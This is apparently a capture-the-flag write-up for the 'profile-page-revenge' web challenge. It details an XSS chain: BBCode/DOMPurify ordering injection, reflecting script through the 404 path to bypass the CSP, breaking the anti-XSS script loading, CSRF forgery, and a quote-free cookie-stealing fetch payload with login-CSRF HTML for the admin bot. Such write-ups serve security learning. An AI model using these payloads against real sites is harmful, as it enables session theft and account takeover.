written by hartmannsyg
This is effectively a “notes” challenge, where you are able to edit your own bio (given a csrf and cookies). You can give a url for the admin bot to visit.
164 | <iframe sandbox="allow-scripts allow-same-origin" srcdoc=" <head> <script src='snow.js' nonce='...'></script> <script src='antixss.js' nonce='...'></script> <style nonce='...'> * { color: white; font-family: Torus, Inter, Arial; } </style> </head> <body> |
We see that our bio is being reflected. If we try to insert a script tag <script>alert(1)</script>
164 | <iframe sandbox="allow-scripts allow-same-origin" srcdoc=" <head> <script src='snow.js' nonce='...'></script> <script src='antixss.js' nonce='...'></script> <style nonce='...'> * { color: white; font-family: Torus, Inter, Arial; } </style> </head> <body> |
However, it seems like these brackets are being escaped
Bypassing of angled brackets
42 | const window = new JSDOM('').window; const purify = DOMPurify(window); const renderBBCode = (data) => { data = data.replaceAll(/\[b\](.+?)\[\/b\]/g, '<strong>$1</strong>'); data = data.replaceAll(/\[i\](.+?)\[\/i\]/g, '<i>$1</i>'); data = data.replaceAll(/\[u\](.+?)\[\/u\]/g, '<u>$1</u>'); data = data.replaceAll(/\[strike\](.+?)\[\/strike\]/g, '<strike>$1</strike>'); data = data.replaceAll(/\[color=#([0-9a-f]{6})\](.+?)\[\/color\]/g, '<span style="color: #$1">$2</span>'); data = data.replaceAll(/\[size=(\d+)\](.+?)\[\/size\]/g, '<span style="font-size: $1px">$2</span>'); data = data.replaceAll(/\[url=(.+?)\](.+?)\[\/url\]/g, '<a href="$1">$2</a>'); data = data.replaceAll(/\[img\](.+?)\[\/img\]/g, '<img src="$1" />'); return data; }; const renderBio = (data) => { |
If we use renderBBCode()
to insert an img
tag with [img]aaa[/img]
, we do not get escaped angled brackets:
1 | <img src="aaa"/> |
Now we need some way to input "
without it being escaped or being sanitized by DOMPurify. Since the [youtube][/youtube]
replacement occurs after sanitize, we can construct a payload like: [img][youtube]a[/youtube]<h1>balls</h1>[/img]
:
<img src="<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/a" frameborder="0" allowfullscreen></iframe><h1>balls</h1>"> |
error message javascript polyglot
When we try inserting <script>console.log(1)</script>
, we get blocked by the csp:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' 'nonce-fcc0b4e554c5e49991b7650ecaedb2d7b41eb317336cbe78885bdd8b09571bb3'". Either the 'unsafe-inline' keyword, a hash ('sha256-CihokcEcBW4atb/CW/XWsvWwbTjqwQlE9nj9ii5ww5M='), or a nonce ('nonce-...') is required to enable inline execution.
|
However, this line of code effectively allows us to reflect scripts:
150 | app.get('*', (req, res) => { res.set("Content-Type", "text/plain"); res.status = 404; |
i.e. https://profile-page-revenge.web.osugaming.lol/**/console.log(1)//
gives
1 | Error: /**/console.log(1)// was not found |
which is valid js! So we can input <script src='/**/console.log(1)//'></script>
. The only issue is that we cannot use quotes but that can be bypassed
csrf check is wonk
I believe this was also a problem in the previous profile-page challenge
121 | // TODO: update bio from UI app.post("/api/update", requiresLogin, (req, res) => { const { bio } = req.body; if (!bio || typeof bio !== "string") { return res.end("missing bio"); } if (!req.headers.csrf) { return res.end("missing csrf token"); } |
the csrf cookie only needs to be the same as the header, it does not check for the actual value of the csrf cookie
Bypassing antixss.js and snow.js
Make them not load
If we set our website to https://profile-page-revenge.web.osugaming.lol/profile/
instead of https://profile-page-revenge.web.osugaming.lol/profile
(extra /
at the end), these anti-xss script tags:
1 | <script src='snow.js' nonce='...'></script> |
will request from /profile/snow.js
, /profile/antixss.js
, etc… which do not exist. Hence all the blocking will not work.
afaik there are other methods might write them
XSS
We basically need to fetch('/api/update')
with document.cookie
Note that we cannot fetch our webhook as we cannot do cross-site requests
Refused to connect to 'https://webhook.site/...' because it violates the following Content Security Policy directive: "default-src https://osugaming.lol 'self'". Note that 'connect-src' was not explicitly set, so 'default-src' is used as a fallback. |
without using quotes. There are many ways to get strings, but one of them is using regex (e.g. /balls/.source
= "balls"
). However, we can’t use /
in the regex, so we can use String.fromCharCode(47)
1 | headers=Object(); headers[/csrf/.source] = 2; headers[/Content-Type/.source]=/application/.source+String.fromCharCode(47)+/x-www-form-urlencoded/.source; opts=Object(); opts[/method/.source]=/POST/.source; opts[/body/.source]=/bio=/.source+document.cookie; opts[/headers/.source]=headers; document.cookie=/csrf=2;Path=/.source+String.fromCharCode(47); fetch(String.fromCharCode(47)+/api/.source+String.fromCharCode(47)+/update/.source,opts) |
which when condensed gives:
headers=Object();headers[/csrf/.source]=2;headers[/Content-Type/.source]=/application/.source+String.fromCharCode(47)+/x-www-form-urlencoded/.source;opts=Object();opts[/method/.source]=/POST/.source;opts[/body/.source]=/bio=/.source+document.cookie;opts[/headers/.source]=headers;document.cookie=/csrf=2;Path=/.source+String.fromCharCode(47);fetch(String.fromCharCode(47)+/api/.source+String.fromCharCode(47)+/update/.source,opts) |
Payload
The admin bot only sets a cookie, it does not log into any “admin” account:
24 | let page = await browser.newPage(); await page.goto(SITE, { timeout: 3000, waitUntil: 'domcontentloaded' }); await page.evaluate((flag) => { |
So we need to serve a website that will login to our account:
1 | <form action="https://profile-page-revenge.web.osugaming.lol/api/login" method="POST"> <input name="username" value="hartmannsyg" /> <input name="password" value="hartmannsyg" /> </form> <script> |
1 | <script> setTimeout(()=>{window.open("https://profile-page-revenge.web.osugaming.lol/profile/")},500) </script> |
So, when the admin bot visits /login.html
:
- new
/xss.html
pops up - form in
/login.html
submits, setting the cookies so that we are already logged in /xss.html
finally opens to/profile/
, triggering the xss- xss script steals the cookies, sets bio to be the cookies
The flag is osu{xss_1s_inevitabl3}